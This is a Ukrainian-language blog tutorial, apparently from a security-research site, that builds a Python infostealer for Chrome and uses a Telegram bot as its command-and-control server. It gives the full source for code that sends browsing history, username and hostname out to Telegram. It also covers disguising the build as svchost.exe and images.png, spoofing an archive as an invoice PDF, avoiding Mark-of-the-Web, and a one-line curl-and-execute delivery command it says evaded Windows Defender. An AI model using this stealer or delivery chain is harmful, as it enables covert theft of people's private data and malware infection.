Інфостилер для браузера Chrome з Telegram C2

Створюємо інфостилер для Chrome з Telegram в ролі C2-сервера

Зізнаюсь, до написанння цього матеріалу мене надихнула в’єтнамська APT-група LoneNone. Довгими холодними вечорами я перечитував звіти Sentinel LABS, поки до мене не дійшло, що це геніально просто! Власне, так і народилася ця нотатка. В ній описаний покроковий процес створення, впровадження і розгортання Python-стилера на “комп’ютері-жертві” під управлінням OS Windows 10. Метод цікавий тим, що на одному диханні обходить безпеку Windows й збирає логи браузера Google Chrome, після чого звітує про це у Telegram-бот, який виступає в ролі шпигунського Command & Control сервера (C2). Не любитель Telegram, але в якості “халявного” ресурсу можна спробувати! Тим більше метод простий і ефективний. Головна ідея в тому, що його можна доробляти під різні сценарії. Не лише Red Team, це може бути й просто бот для адміністративних чи аналітичних цілей. Отже, поїхали!

Крок 1. Реєструємо бота в Telegram

Переходимо в десктопний додаток Telegram, вводимо в пошук @BotFather, заходимо в нього й створюємо там звичайного бота через команду /newbot. Задаємо йому ім’я та нікнейм, отримуємо токен доступу: 111111111:AAAxxxxxrtertertrGVVVVVVdfsdfsdfsdfsdfsd

Заходимо в новоспеченого бота, тиснемо /Start і відправляємо йому слово “Тест”.

Тестуємо тепер з’єднання з Telegram-ботом по API через URL-адресу:

https://api.telegram.org/bot111111111:AAAxxxxxrtertertrGVVVVVVdfsdfsdfsdfsdfsd/getUpdates – має відповісти щось на зразок “True, OK”. Якщо без помилок, то комунікація працює. Тоді далі ще раз повторно відправляємо запит і у форматі JSON підтягнуться дані чату, в якому ми надіслали “Тест”. Копіюємо звідти ID цього чату, наприклад: XUXYXXXXXX. Він знадобиться для конфігурації.

На цьому частина з Telegram завершена.

Крок 2. Написанння інфостилера на Python

Я підготував максимально простий та банальний стилер на Python, який використовує лише стандартні модулі, нічого надскладного. Він перевірятиме шляхи браузера Google Chrome, де зберігається історія веб-серфінгу користувача й відправлятиме її через метод URLlib на Telegram-сервер в JSON-форматі. Разом з надісланими логами також будуть ідентифікатори: ім’я комп’ютера та ім’я користувача. В скрипті немає шифрування окрім закодованих в Base64 токена і Chat ID. Також тут немає збору куків і паролів, хоча це легко можна додати. Цей код лише як демонстрація того, що можна здійснити у даному векторі, тобто база для подальших експериментів. Вся суть насправді не в стилері, а в доставці. Але про це згодом.

До речі, замість Telegram можна було б використати і відправку на SMTP-сервер, але потрібно збирати додаткові модулі Python. А чим більше модулів – тим важче обходити захист Windows.

ЧИТАЙТЕ ТАКОЖ:  Історія шифропанків та їх роль в становленні криптотехнологій. Загадка Сатоші Накамото.

Отже, повний вихідний код стилера:

import sqlite3
import os
import shutil
import json
import urllib.request
import urllib.parse
import urllib.error
import ssl
import base64

ENCODED_TOKEN = "ODIwNjQaZxxxxxSZ0kydjJqd1pqN3haR2tiWjUwNzA5NDpxxxxxxxxxxxx=="
ENCODED_CHAT_ID = "wOTxxxxxx4NTgg=="

def decode_config():
    BOT_TOKEN = base64.b64decode(ENCODED_TOKEN).decode('utf-8')
    CHAT_ID = base64.b64decode(ENCODED_CHAT_ID).decode('utf-8')
    return BOT_TOKEN, CHAT_ID

BOT_TOKEN, CHAT_ID = decode_config()

def get_chrome_history():
    history_path = os.path.join(
        os.environ['LOCALAPPDATA'],
        'Google', 'Chrome',
        'User Data', 'Default', 'History'
    )
    
    if not os.path.exists(history_path):
        return []
    
    temp_db = "chrome_history_temp.db"
    shutil.copy2(history_path, temp_db)
    
    sites = []
    try:
        conn = sqlite3.connect(temp_db)
        cursor = conn.cursor()
        
        cursor.execute('''
            SELECT url, title, visit_count 
            FROM urls 
            ORDER BY last_visit_time DESC 
            LIMIT 10
        ''')
        
        for row in cursor.fetchall():
            url, title, visits = row
            sites.append({
                'url': url,
                'title': title[:100] if title else 'No title',
                'visits': visits
            })
        
        conn.close()
    except Exception as e:
        print(f"[!] Database error: {e}")
        sites.append({'error': str(e)})
    finally:
        if os.path.exists(temp_db):
            try:
                os.remove(temp_db)
            except:
                pass
    
    return sites

def send_to_telegram(text):
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
    
    data = urllib.parse.urlencode({
        'chat_id': CHAT_ID,
        'text': text,
        'parse_mode': 'HTML',
        'disable_web_page_preview': True
    }).encode('utf-8')
    
    context = ssl._create_unverified_context()
    
    try:
        req = urllib.request.Request(url, data=data, method='POST')
        req.add_header('Content-Type', 'application/x-www-form-urlencoded')
        
        with urllib.request.urlopen(req, timeout=10, context=context) as response:
            result = json.loads(response.read().decode())
            return result.get('ok', False)
    except urllib.error.HTTPError as e:
        error_body = e.read().decode() if e.readable() else ''
        print(f"[!] Telegram API Error: {e.code} - {e.reason}")
        print(f"[!] Response: {error_body}")
        
        # Якщо помилка токену/чату
        if e.code == 400:
            print("[!] Check BOT_TOKEN and CHAT_ID!")
        return False
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return False

def main():
    print("=" * 60)
    print("CHROME HISTORY STEALER - TELEGRAM DEMO")
    print("=" * 60)
    
    print("[*] Accessing Chrome history database...")
    history = get_chrome_history()
    
    if not history or (len(history) == 1 and 'error' in history[0]):
        print("[!] No history found or access error")

        history = [
            {'title': 'Google Search', 'url': 'https://google.com', 'visits': 5},
            {'title': 'YouTube', 'url': 'https://youtube.com', 'visits': 3},
            {'title': 'GitHub', 'url': 'https://github.com', 'visits': 2}
        ]
    
    report = "🕵️ <b>CHROME HISTORY STEALER DEMO</b>\n\n"
    report += f"👤 User: {os.environ.get('USERNAME', 'UNKNOWN')}\n"
    report += f"💻 Host: {os.environ.get('COMPUTERNAME', 'UNKNOWN')}\n"
    report += f"📊 Sites found: {len(history)}\n\n"
    
    for i, site in enumerate(history[:8], 1):
        title = site['title'].replace('<', '&lt;').replace('>', '&gt;')
        url = site['url'][:60] + "..." if len(site['url']) > 60 else site['url']
        visits = site.get('visits', 1)
        
        report += f"{i}. <b>{title}</b>\n"
        report += f"   🔗 {url}\n"
        report += f"   👁 {visits} visits\n\n"
    
    report += "<i>Educational demonstration only</i>\n"
    report += "SSL verification disabled for demo purposes"
    
    print("[*] Sending to Telegram...")
    success = send_to_telegram(report)
    
    if success:
        print("[+] SUCCESS! Check your Telegram bot.")
    else:
        print("[!] FAILED. Trying alternative method...")
        
        try:
            http_url = f"http://api.telegram.org/bot8206407094:AAFtEKdnxxxxxxxxxj7xZGkbZ543Arw/sendMessage"
            data = urllib.parse.urlencode({
                'chat_id': CHAT_ID,
                'text': "DEMO: Chrome history stealer test (HTTP fallback)",
            }).encode()
            
            req = urllib.request.Request(http_url, data=data, method='POST')
            with urllib.request.urlopen(req, timeout=5) as resp:
                print("[+] HTTP fallback succeeded (no SSL)")
        except:
            print("[!] HTTP also failed. Check network/proxy.")
    
    print(f"\n Local results ({len(history)} sites):")
    for i, site in enumerate(history[:3], 1):
        print(f"  {i}. {site['title'][:40]}...")
    
    try:
        with open("history_demo.json", "w", encoding="utf-8") as f:
            json.dump(history, f, indent=2, ensure_ascii=False)
        print("[+] JSON saved: history_demo.json")
    except Exception as e:
        print(f"[!] Failed to save JSON: {e}")
    
    print("\n" + "=" * 60)
    print("Tip: For real use, add SSL certificates to portable Python")
    print("=" * 60)
    
    input("\nPress Enter to exit...")

if __name__ == "__main__":
    main()

Зберігаємо цей файл як images.py. Нижче я поясню чому така  назва.

ЧИТАЙТЕ ТАКОЖ:  Створюємо пентест-лабораторію смартфонів на Android в OS Linux

Крок 3. Білдинг. Маскування і пакування файлів.

Щоб цей скрипт запустити на комп’ютері-жертві в операційній системі Windows, необхідно мати Python з усіма тими модулями, які ми імпортувати в скрипті. Звісно цього не буде. Але є рішення!

Можна зібрати під цей скрипт інтерпретатор – такий собі портативний Python, в який можна запакувати всі необхідні модулі і зберегти у вигляді звичайного або незвичайного exe-файлу, наприклад – svchost.exe.

Отже запускаємо інтерпретатор під скрипт images.py:

Під нього збираємо інтерпретатор python:

  • pip install pyinstaller
  • pyinstaller --onefile --noconsole --name=svchost.exe images.py

Ми не спроста задали таку назву svchost.exe – це файл системного процесу Windows. Йому найбільше довіряє Windows, якщо він не виконує ніякої підозрілої активності. З 10 спроб, цей файл найменше раз був заблокований. Навіть chromeupdate.exe удостоївся бану. Хоча, це найпідступніший процес-паразит, який дуже часто мімікрує під службовий процес і зберігає в пам’яті шпинунське ПЗ, виводить з ладу десятки тисяч комп’ютерів на рік. Але Windows йому довіряє… Власне тому, ми і використали його!

Отже, на виході отримуємо 2 файли: svchost.exe і images.py. Останній легким “порухом рук” перейменовуємо на images.png! Не бійтеся, Python його зрозуміє, якщо зробити все правильно…

Тепер створюємо папку Windows і кладемо в неї файл svchost.exe, створюємо в ній ще одну папку Lib і вже в неї кладемо images.png. Архівуємо це все WinRAR з використанням пароля. Називаємо файл – Invoices.rar. І знову застосовуємо маскування – так само перейменовуємо його на Invoices.pdf. Він автоматично змінить тип, але нічого страшного! Його ми розпакуємо однофайловою консольною версією WinRAR – Rar.exe, яка лежить в кореневому каталогу цього додатка. Просто копієюмо цей exe-файл в одну папку з архівом Invoices.pdf. Білд фактично готовий.

Тепер залишилося покласти їх двох у ZIP-архів.Це можна зробити з допомогою архіватора 7-Zip – він по замовчуванню не передає маркування “Mark-of-the-Web” (MotW) на яке спрацьовує Windows Smart Screen як на червону ганчірку. Це дуже важливо, адже це зменшить поверхню виявлення та блокування пейлоаду.

ЧИТАЙТЕ ТАКОЖ:  Операційна безпека: фундаментальні поради, рекомендації, правила

Отже, в результаті отримуємо остаточний архів – Invoice.zip.

Крок 4. Доставка і запуск.

Для проникнення на комп’ютер-жертви можна використати багато способів. Починаючи від легітимних та закінчуючи хакінгом, фішингом, вішингом, соціальною інженерією тощо. Ці способи я описувати у цій статті не буду.

Отже, вважатимемо, що попередньо у нас вже розгорнутий RAT на комп’ютері жертви і залишилося тільки передати шкідливе навантаження на її борт. Для передачі файлу застосуємо саморозгорнутий локальний HTTP-сервер на Python. Просто запускаємо його в папці з архівом і отримуємо URL-адресу:

  • python -m http.server XXXX – потрібно вказати TCP-порт, який у вас буде слухати комп’ютер в публічному інтернеті. До нього зможе підключитися комп’ютер жертви і напряму завантажити файл. Можна використати “Port Forwarding”, DynDNS або NGROK.
  • http://IP_адреса_серверап:XXXX/Invoice.zip

File Extension Spoofing
Приклад маскування виконуваних файлів.

Тепер найвідповідальніша частина: завапнтаження пейлоаду на комп’ютер жертви. Ми використаємо комбінацію різних команд консолі CMD Windows, об’єднавши їх в одну, застосовуючи стандартні вбудовані утиліти:

curl -o C:\Users\Public\invoice.zip http://IP_адреса_сервера:XXXX/invoice.zip && tar -xf C:\Users\Public\invoice.zip -C C:\Users\Public\ && cd /d C:\Users\Public && "images.png" x -ibck -y -pX3ff7b6Bfi76keXy3xmSWnX0uqsFYur "Invoice.pdf" C:\Users\Public && start C:\Users\Public\Windows\svchost.exe C:\Users\Public\Windows\Lib\images.png

Власне. цю феноменальну команду я і почерпнув у Lazarus. Все геніально і просто. В ролі даунлоадера виступає вбудований в Windows 10 – Curl, а розпаковщиком ZIP – буде Tar. Вказуються конкретні директорії, а саме локація Users\Public, яку Windows зазвичай не так критично сприймає і мало “гавкає” на неї. В якості другого розпаковщика, як вже писалося вище, ми використаємо замаскований під images.png – Rar.exe. Благо, комадний рядок Windows його чудово сприймає і не звертає увагу на зовнішній шар. Ця команда у мене чудово відпрацювала з першого разу не викликаючи жодної уваги збоку Windows Defender. Але якщо помилитися, допустити синтаксичну помилку, або почати повторно закачувати багато раз – Windows може не сподобатися файл svchost.exe і заблокувати. Тобто, він за усім як той “хробак” уважно стежить і сприймає за аномалію будь-що, що не вписується в стандартну поведінку. У той самий час, пропускає ось таку діру безпеки, яку може використати кожен для доставки шкідливого файлу. Але хай буде!

Як бачимо, остання команда start C:\Users\Public\Windows\svchost.exe C:\Users\Public\Windows\Lib\images.png здійснює запуск замаскованого Python-інтерпретатора, який виконує запуск стилера. Той тут же “постукав” на Telegram-сервер і в чат надійшло повідомлення з даними, які він викрав в браузера Google Chrome. Десь так С.Б.У. моніторить наш інтернет-перегляд (жартую).

Приклад на скріншотах:

Delivery and execurion Chrome infostealer in Windows 10
Успішна доставка і запуск стилера в Windows 10
Telegram C2
Успішно отримані дані в Telegeam-боті, зібрані інфостилером з Chrome на клієнтській Windows 10 машині

Автор: © Konrad Ravenstone, KR. Laboratories Research

Konrad Ravenstone// про автора

Кібермольфар, хакер, лінуксоїд, дослідник безпеки в KR. Labs Research

Сподобалася стаття? Поділитися в соцмережах:
KR. Labs Research
Рекомендоване:
У цій статті ми поговоримо про такий тип додатків як…